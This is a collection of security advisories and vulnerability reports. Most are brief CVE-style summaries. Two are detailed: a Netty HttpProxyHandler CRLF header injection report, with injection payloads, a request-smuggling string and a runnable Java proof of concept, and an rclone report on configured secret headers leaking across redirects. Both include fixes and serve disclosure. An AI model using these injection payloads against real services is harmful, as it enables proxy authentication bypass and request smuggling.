An insufficient input validation vulnerability in the listed NETGEAR RAX series models allows a network-adjacent attacker having network access (such as WiFi credentials) to crash the router's management UI. There is no confidentiality or integrity impact. A crash of the router's management UI does not impact the availability of the router's core services like WiFi network.

A cross site request forgery (CSRF) vulnerability in the listed NETGEAR models allows an attacker who can leverage social engineering techniques on a router administrator to tamper with router configuration and disrupt router operations with active assistance from the router administrator. There is no confidentiality impact due to this vulnerability.

A vulnerability was found in ningzichun Student Management System up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. Affected by this vulnerability is the function sessionstart of the file login.php. The manipulation results in session fixiation. The attack can be launched remotely. The exploit has been made public and could be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.

A security vulnerability has been detected in aircheng-org iWebShop-5 up to 5.15. The impacted element is the function uploadFile of the file controllers/pic.php. Such manipulation of the argument outerSrc/selectPhoto leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.

A weakness has been identified in vgmstream up to r2117. This issue affects the function sscanf of the file src/meta/txth.c of the component txth-txtp. This manipulation causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. Patch name: 4669d37a6af94866f6f0628678f9f90d46954e8b. To fix this issue, it is recommended to deploy a patch.

A vulnerability has been found in itsourcecode Sales and Inventory System 1.0. The affected element is an unknown function of the file /pages/custedit1.php. Such manipulation of the argument ID leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

A vulnerability was found in Ollama up to 0.31.1. This issue affects the function readGGUFV1String of the file fs/ggml/gguf.go of the component GGUF Decoder. Performing a manipulation results in integer overflow. The attack is possible to be carried out remotely. The exploit has been made public and could be used. Upgrading to version 0.31.2-rc1 is capable of addressing this issue. The patch is named 67b6a1c2d45321e0cb3c04a18073f9818de7724b. It is recommended to upgrade the affected component.

A vulnerability has been found in SourceCodester Simple Traffic Offense System 1.0. Affected by this issue is some unknown functionality of the file save-settings.php of the component Settings Update Endpoint. The manipulation of the argument sitename/sitedesc leads to cross site scripting. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.

A security flaw has been discovered in SourceCodester Syllabus-Aligned Learning Management & Examination System 1.0. This impacts an unknown function. Performing a manipulation results in cross-site request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks.

A vulnerability has been found in itsourcecode Sales and Inventory System 1.0. This issue affects some unknown processing of the file /pages/protransac.php?action=add. Such manipulation of the argument Name leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

A weakness has been identified in liufee FeehiCMS up to 2.1.1. This impacts an unknown function of the file environments/prod/backend/config/main-local.php of the component Cookie Validation. This manipulation of the argument cookieValidationKey causes use of hard-coded cryptographic key . The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

A security flaw has been discovered in mwiede jsch up to 2.28.5. Affected is the function getRevokedKeys of the file src/main/java/com/jcraft/jsch/KnownHosts.java. Performing a manipulation of the argument knownhosts results in improper check for certificate revocation. The attack is possible to be carried out remotely. The attack is considered to have high complexity. The exploitability is told to be difficult. The exploit has been released to the public and may be used for attacks. Upgrading to version 2.28.6 is able to address this issue. The patch is named 194a2f76a5c0f1c3f778565be3fd66bcafc42d23. You should upgrade the affected component.

A vulnerability has been found in Open5GS 2.7.7/2.8.0. This vulnerability affects unknown code of the component AMF/MME. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 9468de94caed2fc940f4a23cbf734651896d0fde. To fix this issue, it is recommended to deploy a patch.

A vulnerability was detected in DefaultFuction CRM 1.0.0. This impacts an unknown function of the file /modules/customers/delete.php. Performing a manipulation of the argument ID results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.

A vulnerability was determined in Eleveo Quality Management 9.7.0. Impacted is an unknown function of the file /enc-fwk-data/api/v3/conversations/<ID>/events of the component Conversation Handler. This manipulation of the argument createdBy causes dynamically-determined object attributes. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

A flaw has been found in itsourcecode Sales and Inventory System 1.0. The affected element is an unknown function of the file /pages/invdel.php. Executing a manipulation of the argument ID can lead to sql injection. The attack can be executed remotely. The exploit has been published and may be used.

InstantCMS is a free and open source content management system. Versions prior to 2.18.2 have a Server-Side Request Forgery (SSRF) vulnerability in the file upload functionality (system/core/uploader.php at lines 509-532). When the "upload from URL" feature follows an HTTP redirect, the redirected target URL bypasses the private IP address blacklist check. This allows authenticated users to scan and access internal network services. Version 2.18.2 contains a fix.

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Least Privilege Violation vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to unauthorized access.

Microsoft Office SharePoint Information Disclosure Vulnerability

Improper neutralization of argument delimiters in a command ('argument injection') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Pen allows Argument Injection.

This issue affects Pardus Pen: before 4.2.1.

Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty

1. Vulnerability Summary

| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions) | | Component | io.netty.handler.proxy.HttpProxyHandler | | Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers | | Impact | HTTP Header Injection in CONNECT Proxy Requests | | CVSS 3.1 Score | 7.5 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N | | Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |

2. Affected Components

- io.netty.handler.proxy.HttpProxyHandler — newInitialMessage() method (line 176) explicitly disables header validation via withValidation(false)

3. Vulnerability Description

Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.

Root Cause

java // HttpProxyHandler.java:176-190 protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception { // ... HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED

FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP11, HttpMethod.CONNECT, url, Unpooled.EMPTYBUFFER, headersFactory, headersFactory);

req.headers().set(HttpHeaderNames.HOST, hostHeader);

if (authorization != null) { req.headers().set(HttpHeaderNames.PROXYAUTHORIZATION, authorization); }

if (outboundHeaders != null) { req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION }

return req; }

The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.

Incomplete Fix of GHSA-84h7-rjj3-6jx4

This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.

The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:

1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed 2. User-provided outboundHeaders are added without any CRLF check 3. The resulting CONNECT request contains unvalidated headers on the wire

This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

1. An application uses HttpProxyHandler with user-influenced outboundHeaders 2. The application does not perform its own CRLF sanitization on header values

Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel

5. Attack Scenarios

Scenario 1: Proxy Authentication Bypass

java HttpHeaders headers = new DefaultHttpHeaders(false); headers.set("X-Forwarded-For", userInput); // userInput from attacker new HttpProxyHandler(proxyAddr, headers);

Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="

Wire format: CONNECT target.com:443 HTTP/1.1 host: target.com:443 X-Forwarded-For: 1.2.3.4 Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED

The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.

Scenario 2: Request Smuggling via Proxy

Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"

Injects a full smuggled request through the proxy tunnel establishment.

6. Proof of Concept

Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)

java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.; import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

// Simulate HttpProxyHandler.newInitialMessage() with validation=false HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false);

FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP11, HttpMethod.CONNECT, "target.com:443", io.netty.buffer.Unpooled.EMPTYBUFFER, headersFactory, headersFactory);

req.headers().set(HttpHeaderNames.HOST, "target.com:443");

// Inject CRLF in header value String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"; req.headers().set("X-Forwarded-For", malicious);

// Encode to wire format EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder()); ch.writeOutbound(req); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF8); out.release(); ch.finishAndReleaseAll();

System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true")); System.out.println("VULNERABLE: " + (encoded.contains("X-Admin: true") ? "YES" : "NO")); } }

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HttpProxyHandler Header Injection PoC ===

[TEST 1] outboundHeaders with CRLF (validation disabled) ---------------------------------------------------------- Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true" Header accepted: YES (validation disabled!) Wire format: CONNECT target.com:443 HTTP/1.1\r host: target.com:443\r X-Forwarded-For: 1.2.3.4\r X-Forwarded-For: 127.0.0.1\r <-- INJECTED X-Admin: true\r <-- INJECTED \r

Injected X-Admin header in wire: true VULNERABLE: YES

[TEST 2] validation=true vs validation=false comparison -------------------------------------------------------- With validation=true: SAFE: Rejected - IllegalArgumentException With validation=false: VULNERABLE: Accepted CRLF in header value! Stored value contains CRLF: true

7. Remediation Recommendations

Option 1: Remove withValidation(false)

java // Change HttpProxyHandler.java line 176 from: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false); // To: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();

Option 2: Validate outboundHeaders Before Adding

java if (outboundHeaders != null) { for (Map.Entry<String, String> entry : outboundHeaders) { HttpUtil.validateHeaderValue(entry.getValue()); } req.headers().add(outboundHeaders); }

8. Resources

- GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (incomplete fix — this report) - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers

In PCRE2 before 10.48, pcre2serializeencode might disclose two bytes to an adversary, typically in a situation where the access available to the adversary is already unsafe.

PCRE2 before 10.48 has a pcre2match out-of-bounds read during the PCRE2MATCHINVALIDUTF matching of an invalid UTF subject.

PCRE2 before 10.48 has a pcre2match out-of-bounds read after a JIT fallback when an attacker can provide invalid UTF data.

Forgejo before 16.0.4 allows use of restricted API tokens for unintended access to the "allow maintainer edit" feature.

When decompressing crafted zip files using the bzip/LZMA/Zstandard

compressions, Python could use an attacker-controlled size to

pre-allocate memory, possibly resulting in memory exhaustion.

strongSwan 4.2.0 through 6.0.7 has a missing release of memory after its effective lifetime in the x509 plugin's attribute certificate parser.

libcharon in strongSwan 4.1.2 through 6.0.7 has a missing release of memory after its effective lifetime in the IKE message parser.

strongSwan 5.0.2 through 6.0.7 allows PKCS#7 certificate enumeration in the openssl plugin that leads to a lack of release of memory after its effective lifetime.

Vulnerability Details

File: backend/http/http.go Lines: 285 (client construction — no CheckRedirect), 505-510 (addHeaders, writes configured secret headers onto every request), 533-534 / 700-701 / 782-785 (f.httpClient.Do(req) used by List/stat/download)

Root Cause The http backend lets a user attach arbitrary secret headers to every request via --http-headers/headers= (documented for authentication: '"Cookie","name=value","Authorization","xxx"'). The backend's HTTP client is built with fshttp.NewClient(ctx), which never sets http.Client.CheckRedirect, so it falls back to Go's stdlib default redirect policy.

Go's default policy only strips four header names (Authorization, Www-Authenticate, Cookie, Cookie2), and only when the redirect target's host differs from the original — every other configured header is copied to the redirect target unconditionally, regardless of host or scheme. Even the four protected names survive a same-host https:// → http:// downgrade, since Go only checks host equality, not scheme.

Any redirect response from the configured remote — whether from server compromise, an open redirect, a CDN/mirror failover to a different domain, or a malicious server from the start — causes rclone to resend every configured secret header (and, for a scheme downgrade, Authorization/Cookie in cleartext) to the new destination.

This is the exact vulnerability class already fixed for the s3 backend (9328763/7543a7a, GHSA-8mxv-9xhp-86h4 and the webdav backend (59b513b, GHSA-h4mf-4v27-hggj, wiring rest.RefuseHTTPSDowngradeRedirectFn). backend/http was not touched by either fix.

Vulnerable Code go // backend/http/http.go:285 client := fshttp.NewClient(ctx) // no CheckRedirect set ... f.httpClient = client // used by readDir / NewObject / Object.Open go // backend/http/http.go:505-510 func addHeaders(req http.Request, opt Options) { for i := 0; i < len(opt.Headers); i += 2 { key := opt.Headers[i] value := opt.Headers[i+1] req.Header.Add(key, value) } }

Attack Scenario 1. User configures an http remote: url=https://good.example.com/files/, headers=X-Api-Key,SECRET-TOKEN. 2. At some point good.example.com returns a redirect whose Location points at a different host (compromise, open redirect, CDN change, or malice from the start). 3. User runs any operation (ls, cat, copy, mount, serve) against the remote. 4. rclone follows the redirect with the default client and resends X-Api-Key: SECRET-TOKEN to the new, untrusted destination. 5. The attacker's server captures the secret from the incoming request.

Impact Exfiltration of API keys / bearer tokens / session cookies configured for one host, to any host the (trusted-at-configuration-time) remote later redirects to. All operations on the http backend (list, stat, download, mount, serve) are affected. No special rclone privileges or unusual user interaction are needed beyond a normal sync/list/copy once the redirect exists.

Dynamic Confirmation Built rclone from source at cfdc9d0 (current master, v1.76.0-DEV) and configured: ini [testhttp] type = http url = http://127.0.0.1:9090/ headers = X-Api-Key,SUPER-SECRET-TOKEN-abc123 Server A (port 9090, the "configured" host) 302-redirects every request to Server B (port 9091, a different host). Running rclone cat testhttp:file.txt caused Server B — which was never configured with any credential — to receive: Header: X-Api-Key: SUPER-SECRET-TOKEN-abc123 Header: Referer: http://127.0.0.1:9090/file.txt rclone printed Server B's response body as if it were the real file, confirming the full stat→redirect→download round trip leaks the header and trusts the redirect target.

Vulnerable Code / Fix A minimal fix (implemented, tested, and verified to close the leak while preserving redirect functionality) wires the client to rest.RefuseHTTPSDowngradeRedirectFn (already used by webdav) and strips the configured opt.Headers on any cross-host redirect:

go client := fshttp.NewClient(ctx) client.CheckRedirect = redirectCheckFn(opt) ... func redirectCheckFn(opt Options) func(req http.Request, via []http.Request) error { return func(req http.Request, via []http.Request) error { if err := rest.RefuseHTTPSDowngradeRedirectFn(req, via); err != nil { return err } if len(via) > 0 && req.URL.Host != via[0].URL.Host { for i := 0; i < len(opt.Headers); i += 2 { req.Header.Del(opt.Headers[i]) } } return nil } }

A regression test (TestRedirectStripsHeadersOnHostChange) was added to backend/http/httpinternaltest.go, confirmed to fail without the fix and pass with it. Full backend/http and lib/rest test suites pass with the fix applied. I have a fix branch ready to push to a private fork once this report is acknowledged.

Verification Dynamically confirmed on rclone master @ cfdc9d0 (post v1.75.0) in a local test harness — see "Dynamic Confirmation" above. Fix verified to eliminate the leak via the same harness (secret header absent from Server B after the fix; functionality — file download via redirect — unaffected).